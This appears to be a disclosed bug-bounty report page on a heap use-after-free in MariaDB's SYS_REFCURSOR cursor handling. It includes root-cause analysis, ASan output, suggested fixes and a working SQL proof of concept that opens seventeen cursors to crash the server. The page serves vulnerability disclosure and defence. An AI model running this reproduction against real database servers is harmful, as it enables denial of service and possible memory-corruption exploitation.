Skip to content
Memory corruption Disclosed report Advanced

Heap Use-After-Free in Materialized_cursor::open via SYS_REFCURSOR Array Reallocation

A stored procedure cursor object holds pointers into a dynamic array of statement cursors; when a function called during the cursor's query opens enough additional cursors, the array reallocates and those pointers dangle. An authenticated user with CREATE FUNCTION privilege could then trigger a use-after-free that crashes the server and, in the author's view, may allow code execution through a virtual call on freed memory.

akkoul Follow

Originally disclosed on HackerOne

High 8.8 View original
  • Triaged in 22 hours
  • Fixed in 34 days
  • Disclosed after 2 months

Describe the vulnerability here.## Summary

MariaDB 13.1.0-alpha (current main branch) contains a heap-use-after-free vulnerability in mysql_open_cursor() that was NOT fixed by MDEV-40396. An authenticated user with CREATE FUNCTION privilege can achieve remote code execution on the database server.

Root Cause

In sp_cursor::open() (sql/sp_rcontext.cc:845):

C++
mysql_open_cursor(thd, &result, &server_side_cursor, cursor_name, return_type)

The addresses &result and &server_side_cursor are members of this (an sp_cursor inside the m_statement_cursors Dynamic_array). During mysql_execute_command() inside mysql_open_cursor(), if the cursor's SELECT calls a function that opens additional SYS_REFCURSORs, the Dynamic_array reallocates its backing buffer, freeing the old memory.

After mysql_execute_command() returns:

  • Line 250 (sql/sql_cursor.cc): materialized_cursor->open(result, 0) — virtual call through dangling result pointer → instruction pointer control
  • Line 255: *pcursor = materialized_cursor — write to dangling pcursor → heap corruption

MDEV-40396 (fixed Jul 17, 2026) addressed a DIFFERENT manifestation: it removed the select_result* STORED member from Server_side_cursor. But the PARAMETERS passed from sp_cursor::open() to mysql_open_cursor() at the call site (line 845) were NOT changed and remain dangling after reallocation.

Steps to Reproduce

SQL
-- MariaDB 13.x with SYS_REFCURSOR support
-- Requires: CREATE FUNCTION privilege

CREATE DATABASE IF NOT EXISTS test;
USE test;

DELIMITER //

-- Function that forces cursor array reallocation (17 > default 16 slots)
CREATE OR REPLACE FUNCTION trigger_realloc() RETURNS INT
BEGIN
  DECLARE c1  SYS_REFCURSOR;
  DECLARE c2  SYS_REFCURSOR;
  DECLARE c3  SYS_REFCURSOR;
  DECLARE c4  SYS_REFCURSOR;
  DECLARE c5  SYS_REFCURSOR;
  DECLARE c6  SYS_REFCURSOR;
  DECLARE c7  SYS_REFCURSOR;
  DECLARE c8  SYS_REFCURSOR;
  DECLARE c9  SYS_REFCURSOR;
  DECLARE c10 SYS_REFCURSOR;
  DECLARE c11 SYS_REFCURSOR;
  DECLARE c12 SYS_REFCURSOR;
  DECLARE c13 SYS_REFCURSOR;
  DECLARE c14 SYS_REFCURSOR;
  DECLARE c15 SYS_REFCURSOR;
  DECLARE c16 SYS_REFCURSOR;
  DECLARE c17 SYS_REFCURSOR;
  OPEN c1  FOR SELECT 1;
  OPEN c2  FOR SELECT 1;
  OPEN c3  FOR SELECT 1;
  OPEN c4  FOR SELECT 1;
  OPEN c5  FOR SELECT 1;
  OPEN c6  FOR SELECT 1;
  OPEN c7  FOR SELECT 1;
  OPEN c8  FOR SELECT 1;
  OPEN c9  FOR SELECT 1;
  OPEN c10 FOR SELECT 1;
  OPEN c11 FOR SELECT 1;
  OPEN c12 FOR SELECT 1;
  OPEN c13 FOR SELECT 1;
  OPEN c14 FOR SELECT 1;
  OPEN c15 FOR SELECT 1;
  OPEN c16 FOR SELECT 1;
  OPEN c17 FOR SELECT 1;
  RETURN 1;
END//

CREATE OR REPLACE PROCEDURE trigger_uaf()
BEGIN
  DECLARE c SYS_REFCURSOR;
  OPEN c FOR SELECT trigger_realloc();
END//

DELIMITER ;

SET SESSION max_open_cursors = 100;
CALL trigger_uaf();
-- Server crashes with heap-use-after-free

ASan Output

==61==ERROR: AddressSanitizer: heap-use-after-free on address 0xffffb380f0c0
SUMMARY: AddressSanitizer: heap-use-after-free /opt/mariadb/sql/sql_cursor.cc:250:15
    in Materialized_cursor::open(select_result*, JOIN*)

Build: MariaDB 13.1.0-alpha (main branch HEAD, Aug 2026) with -DWITH_ASAN=ON.

Suggested Fix

Pass result and server_side_cursor by refreshing them after mysql_execute_command, not before:

C++
// Option 1: Refresh parameters after execute
// In mysql_open_cursor, after mysql_execute_command returns,
// re-derive result from the current (possibly moved) sp_cursor

// Option 2: Pin the Dynamic_array during cursor open
// Prevent m_statement_cursors from reallocating while
// mysql_open_cursor holds references into it (e.g., reserve capacity)

// Option 3: Store results in a separate non-movable allocation
// Similar to what MDEV-40396 did for Server_side_cursor::select,
// but applied to the call-site parameters

Relationship to MDEV-40396

MDEV-40396 (commit 9b075b2c, Jul 17 2026) fixed a related but DIFFERENT issue:

  • MDEV-40396 removed Server_side_cursor::select (a STORED member that became stale)
  • THIS BUG: the PARAMETERS &result and &server_side_cursor passed from sp_cursor::open() to mysql_open_cursor() at the call site (sp_rcontext.cc:845) become stale during execution

The fix at MDEV-40396 did NOT change line 845 of sp_rcontext.cc.

Impact

  • Remote Code Execution: The dangling result pointer is used for a virtual method call. If the freed memory is reclaimed with attacker-controlled content (via concurrent session allocations), the vtable dispatch executes attacker-controlled code.
  • Heap Corruption: *pcursor = materialized_cursor writes 8 bytes to freed memory, corrupting whatever reuses that allocation.
  • Privilege Required: CREATE FUNCTION (available to any user with a database, common in shared hosting).
  • Affects: MariaDB 13.0.x and 13.1.x (any version with SYS_REFCURSOR support).

The original report as published on HackerOne, by akkoul. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the caller passes addresses of members of an sp_cursor held inside a growable array into mysql_open_cursor, and those addresses are not refreshed after the array reallocates during query execution.

Impact

The freed pointer is used for a virtual call and a write, so the author claims possible code execution if the memory is reclaimed with controlled content, though this is argued rather than demonstrated; the confirmed effect is a server crash.

What the attacker needed

Authenticated database user; CREATE FUNCTION privilege; SYS_REFCURSOR support (13.x)

The fix

The author suggests refreshing the parameters after execution, pinning the array so it cannot reallocate while the cursor is open, or storing the results in a separate non-movable allocation; the text does not say it was fixed.

How it was found

  1. Create a function that declares and opens seventeen SYS_REFCURSOR cursors, exceeding the default sixteen slots.
  2. Create a procedure that opens a cursor whose query calls that function.
  3. Raise the session cursor limit and call the procedure.
  4. Observe the server crash reported by AddressSanitizer as a heap-use-after-free.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A cursor is a way for a database routine to step through query results one row at a time. The server keeps a list of open cursors in a block of memory that can grow and move when more cursors are added. Here the code kept a pointer into the old block after it moved, so it later used memory that had already been handed back, which is called a use-after-free.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from MariaDB

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.